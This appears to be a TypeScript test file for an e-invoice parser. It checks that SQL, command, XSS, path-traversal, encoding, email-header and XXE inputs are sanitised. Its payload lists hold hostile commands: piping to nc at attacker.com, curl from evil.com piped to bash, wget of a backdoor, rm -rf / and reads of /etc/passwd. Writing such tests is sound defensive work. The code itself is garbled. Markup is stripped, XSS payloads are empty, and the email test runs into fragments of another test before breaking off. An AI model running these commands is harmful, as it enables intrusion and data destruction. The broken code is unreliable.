import { tap } from '@git.zone/tstest/tapbundle'; import * as plugins from '../plugins.js'; import { EInvoice } from '../../../ts/index.js'; import { PerformanceTracker } from '../performance.tracker.js'; const performanceTracker = new PerformanceTracker('SEC-04: Input Validation'); tap.test('SEC-04: Input Validation - should validate and sanitize all inputs', async (t) => { const einvoice = new EInvoice(); // Test 1: SQL Injection attempts in XML fields const sqlInjection = await performanceTracker.measureAsync( 'sql-injection-prevention', async () => { const sqlPayloads = [ "'; DROP TABLE invoices; --", "1' OR '1'='1", "admin'--", "1; DELETE FROM users WHERE 1=1; --", "' UNION SELECT * FROM passwords --" ]; const results = []; for (const payload of sqlPayloads) { const maliciousXML = ` ${payload} ${payload} ${payload} `; try { const result = await einvoice.parseDocument(maliciousXML); // Check if payload was sanitized const idValue = result?.ID || ''; const nameValue = result?.CustomerName || ''; results.push({ payload, sanitized: !idValue.includes('DROP') && !idValue.includes('DELETE') && !idValue.includes('UNION'), preserved: idValue.length > 0 }); } catch (error) { results.push({ payload, sanitized: true, rejected: true, error: error.message }); } } return results; } ); sqlInjection.forEach(result => { t.ok(result.sanitized, `SQL injection payload was sanitized: ${result.payload.substring(0, 20)}...`); }); // Test 2: Command Injection attempts const commandInjection = await performanceTracker.measureAsync( 'command-injection-prevention', async () => { const cmdPayloads = [ '; rm -rf /', '| nc attacker.com 4444', '`cat /etc/passwd`', '$(curl http://evil.com/shell.sh | bash)', '&& wget http://malware.com/backdoor' ]; const results = []; for (const payload of cmdPayloads) { const maliciousXML = ` ${payload} ${payload} `; try { const result = await einvoice.parseDocument(maliciousXML); const refValue = result?.ReferenceNumber || ''; const descValue = result?.Description || ''; results.push({ payload, sanitized: !refValue.includes('rm') && !refValue.includes('nc') && !refValue.includes('wget') && !refValue.includes('curl'), preserved: refValue.length > 0 }); } catch (error) { results.push({ payload, sanitized: true, rejected: true }); } } return results; } ); commandInjection.forEach(result => { t.ok(result.sanitized, `Command injection payload was sanitized`); }); // Test 3: XSS (Cross-Site Scripting) attempts const xssAttempts = await performanceTracker.measureAsync( 'xss-prevention', async () => { const xssPayloads = [ '', '', '', 'javascript:alert("XSS")', '' ]; const results = []; for (const payload of xssPayloads) { const maliciousXML = ` ${payload} ${payload} `; try { const result = await einvoice.parseDocument(maliciousXML); const notesValue = result?.Notes || ''; const addressValue = result?.CustomerAddress || ''; // Check if dangerous tags/attributes were removed results.push({ payload: payload.substring(0, 30), sanitized: !notesValue.includes(' { t.ok(result.sanitized || result.escaped, `XSS payload was sanitized or escaped`); }); // Test 4: Path Traversal in filenames const pathTraversal = await performanceTracker.measureAsync( 'path-traversal-validation', async () => { const pathPayloads = [ '../../../etc/passwd', '..\\..\\..\\windows\\system32\\config\\sam', '....//....//....//etc/passwd', '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', '..%252f..%252f..%252fetc%252fpasswd' ]; const results = []; for (const payload of pathPayloads) { try { const isValid = await einvoice.validateFilePath(payload); results.push({ payload, blocked: !isValid, sanitized: true }); } catch (error) { results.push({ payload, blocked: true, error: error.message }); } } return results; } ); pathTraversal.forEach(result => { t.ok(result.blocked, `Path traversal attempt was blocked: ${result.payload}`); }); // Test 5: Invalid Unicode and encoding attacks const encodingAttacks = await performanceTracker.measureAsync( 'encoding-attack-prevention', async () => { const encodingPayloads = [ '\uFEFF', // BOM with XSS '\x00', // NULL byte injection '\uD800\uDC00', // Invalid surrogate pair '%EF%BB%BF%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E', // URL encoded BOM+XSS '\u202E\u0065\u0074\u0065\u006C\u0065\u0044', // Right-to-left override '\uFFF9\uFFFA\uFFFB' // Unicode specials ]; const results = []; for (const payload of encodingPayloads) { const maliciousXML = ` INV-${payload}-001 `; try { const result = await einvoice.parseDocument(maliciousXML); const idValue = result?.ID || ''; results.push({ type: 'encoding', sanitized: !idValue.includes('script') && !idValue.includes('\x00'), normalized: true }); } catch (error) { results.push({ type: 'encoding', sanitized: true, rejected: true }); } } return results; } ); encodingAttacks.forEach(result => { t.ok(result.sanitized, 'Encoding attack was prevented'); }); // Test 6: Numeric field validation const numericValidation = await performanceTracker.measureAsync( 'numeric-field-validation', async () => { const numericPayloads = [ { amount: 'NaN', expected: 'invalid' }, { amount: 'Infinity', expected: 'invalid' }, { amount: '-Infinity', expected: 'invalid' }, { amount: '1e308', expected: 'overflow' }, { amount: '0.0000000000000000000000000001', expected: 'precision' }, { amount: '999999999999999999999999999999', expected: 'overflow' }, { amount: 'DROP TABLE invoices', expected: 'invalid' }, { amount: '12.34.56', expected: 'invalid' } ]; const results = []; for (const test of numericPayloads) { const xml = ` ${test.amount} `; try { const result = await einvoice.parseDocument(xml); const amount = result?.TotalAmount; results.push({ input: test.amount, expected: test.expected, validated: typeof amount === 'number' && isFinite(amount), value: amount }); } catch (error) { results.push({ input: test.amount, expected: test.expected, validated: true, rejected: true }); } } return results; } ); numericValidation.forEach(result => { t.ok(result.validated || result.rejected, `Numeric validation handled: ${result.input}`); }); // Test 7: Date field validation const dateValidation = await performanceTracker.measureAsync( 'date-field-validation', async () => { const datePayloads = [ { date: '2024-13-45', expected: 'invalid' }, { date: '2024-02-30', expected: 'invalid' }, { date: 'DROP TABLE', expected: 'invalid' }, { date: '0000-00-00', expected: 'invalid' }, { date: '9999-99-99', expected: 'invalid' }, { date: '2024/01/01', expected: 'wrong-format' }, { date: '01-01-2024', expected: 'wrong-format' }, { date: '2024-01-01T25:00:00', expected: 'invalid-time' } ]; const results = []; for (const test of datePayloads) { const xml = ` ${test.date} `; try { const result = await einvoice.parseDocument(xml); const dateValue = result?.IssueDate; results.push({ input: test.date, expected: test.expected, validated: dateValue instanceof Date && !isNaN(dateValue.getTime()) }); } catch (error) { results.push({ input: test.date, expected: test.expected, validated: true, rejected: true }); } } return results; } ); dateValidation.forEach(result => { t.ok(result.validated || result.rejected, `Date validation handled: ${result.input}`); }); // Test 8: Email validation const emailValidation = await performanceTracker.measureAsync( 'email-field-validation', async () => { const emailPayloads = [ { email: 'user@domain.com', valid: true }, { email: 'user@[127.0.0.1]', valid: false }, // IP addresses might be blocked { email: 'user@domain.com NaN user@domain.com\r\nBcc: attacker@evil.com 9999-99-99 &xxe; ../../../etc/passwd `; try { const result = await einvoice.parseDocument(complexPayload); return { allLayersValidated: true, xxePrevented: !JSON.stringify(result).includes('root:'), sqlPrevented: !JSON.stringify(result).includes('DROP TABLE'), xssPrevented: !JSON.stringify(result).includes('